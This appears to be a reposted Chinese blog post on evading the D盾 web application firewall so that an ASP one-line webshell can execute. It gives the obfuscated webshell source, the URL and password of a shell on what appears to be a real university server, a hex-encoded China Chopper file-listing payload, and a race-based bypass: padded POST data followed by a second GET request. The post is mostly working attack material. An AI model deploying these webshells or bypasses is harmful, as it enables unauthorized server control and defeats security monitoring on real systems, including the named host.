bypass最新版d盾mysql_D盾一句话动态代码执行拦截bypass

104 阅读 0 评论 69 点赞

我是靠谱客的博主追寻裙子，最近开发中收集的这篇文章主要介绍bypass最新版d盾mysql_D盾一句话动态代码执行拦截bypass，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

一句话地址：http://sjxy.ycu.jx.cn/upfiles/Media/d2.asp 密码：z 普通的菜刀是连接不上滴。代码如下：

Function decode(ByVal s, ByVal key)

For i = 1 To Len(s) Step 2

c = Mid(s, i, 2)

k = (i + 1) / 2 Mod Len(key) + 1

p = Mid(key, k, 1)

If IsNumeric(Mid(s, i, 1)) Then

decode = decode & Chr(("&H" & c) - p)

Else

decode = decode & Chr("&H" & c & Mid(s, i + 2, 2))

i = i + 2

End If

End Function

Execute decode("4A7A6C6C7A766C3169676A7869672F7B6A737C6E78762F2B7F2430357767787E6A757B31276D6C82272B3032","9527")

Functiondecode(ByVals,ByValkey)

Fori=1ToLen(s)Step2

c=Mid(s,i,2)

k=(i+1)/2ModLen(key)+1

p=Mid(key,k,1)

IfIsNumeric(Mid(s,i,1))Then

decode=decode&Chr(("&H"&c)-p)

Else

decode=decode&Chr("&H"&c&Mid(s,i+2,2))

i=i+2

EndIf

EndFunction

Executedecode("4A7A6C6C7A766C3169676A7869672F7B6A737C6E78762F2B7F2430357767787E6A757B31276D6C82272B3032","9527")

也就是把传入的参数z经过decode函数解码后执行。把Response.Write(2333333+1)编码后(526573706F6E73652E577269746528323333333333332B3129)执行，效果如图：

但当我们把菜刀的数据包编码后执行确被无情地拦截掉了：编码前代码：

Response.Write("->|"):Dim RR:RR=decode(Request("k1"),Request("key")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name:Next:For Each L in FO.files:Response.Write L.Name:Next:End If:Response.Write("|

Response.Write("->|"):DimRR:RR=decode(Request("k1"),Request("key")):FunctionFD(dt):FD=Year(dt)&"-":IfLen(Month(dt))=1Then:FD=FD&"0":EndIf:FD=FD&Month(dt)&"-":IfLen(Day(dt))=1Then:FD=FD&"0":EndIf:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":IfLen(Second(dt))=1Then:FD=FD&"0":EndIf:FD=FD&Second(dt):EndFunction:SETC=CreateObject("Scripting.FileSystemObject"):SetFO=C.GetFolder(""&RR&""):IfErrThen:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:ForEachFinFO.subfolders:Response.WriteF.Name:Next:ForEachLinFO.files:Response.WriteL.Name:Next:EndIf:Response.Write("|

编码后：

526573706F6E73652E577269746528222D3E7C22293A44696D2052523A52523D6465636F6465285265717565737428226B3122292C5265717565737428226B65792229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D653A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D653A4E6578743A456E642049663A526573706F6E73652E577269746528227C3C2D22293A526573706F6E73652E456E64

数据包中已没有任何关键字，显然D盾的拦截不是在传输的过程中，D盾已可以在代码解码执行时检测到代码对一些敏感方法的调用，如FSO等组件。但当我不以动态的方式去执行代码时(写到服务器Web目录中)，却可以成功获得结果。

在梳理了整个过程后，可以作出的结论是D盾检查了最终执行的动态代码的内容(无论用户如何[加密])，但同样可以得出的结论是这样的检测会消耗一定的系统资源。那么如何尽可能地减少资源消耗呢？最终的测试显示，D盾检测了用户的每一个请求，但在检测后面的请求时同时会终止对前面所有请求的检查。因此一个绕过方案就诞生了，我们把第一个请求的包的动态代码构造的足够多，占用些检测时间。保证第一个请求中的动态代码还未被完成检测时，再发出第二个请求(第二个请求不包含任何动态代码GET网站的任意URL即可)，那么对第一个请求的检查还未来的及检查完成就被放过去了。(注：我的方法是在动态代码前加很多0A[换行]来消耗检测时间)第一个请求：http://sjxy.ycu.jx.cn/upfiles/Media/d2.aspPOST

z=0A0A....省略很多0A0A.....526573706F6E73652E577269746528222D3E7C22293A44696D2052523A52523D6465636F6465285265717565737428226B3122292C5265717565737428226B65792229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D653A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D653A4E6578743A456E642049663A526573706F6E73652E577269746528227C3C2D22293A526573706F6E73652E456E64&key=00000&k1=443A5C63616D7075735C736A78795C77656232303134303632362D335C757066696C65735C4D656469615C

第二个请求：直接GET请求http://sjxy.ycu.jx.cn/upfiles/Media/d2.asp直接发送POST被拦截：